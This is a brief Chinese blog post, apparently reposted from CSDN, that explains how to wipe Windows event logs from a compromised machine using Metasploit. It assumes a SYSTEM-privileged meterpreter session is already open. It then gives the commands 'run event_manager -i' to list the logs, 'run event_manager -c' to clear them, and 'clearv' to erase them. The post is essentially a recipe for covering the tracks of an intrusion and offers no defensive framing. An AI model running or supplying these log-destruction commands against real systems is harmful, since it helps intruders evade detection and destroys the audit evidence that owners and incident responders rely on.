转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86358579
工具:Metasploit
为了实现这个目的,我们需要通过事件管理器模块清除事件日志。
这里,假设经过一系列的渗透测试已经获取了system权限的meterpreter,以下命令在meterpreter命令行下执行:
1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
或者在meterpreter命令行中输入clearv命令清除目标系统的事件日志。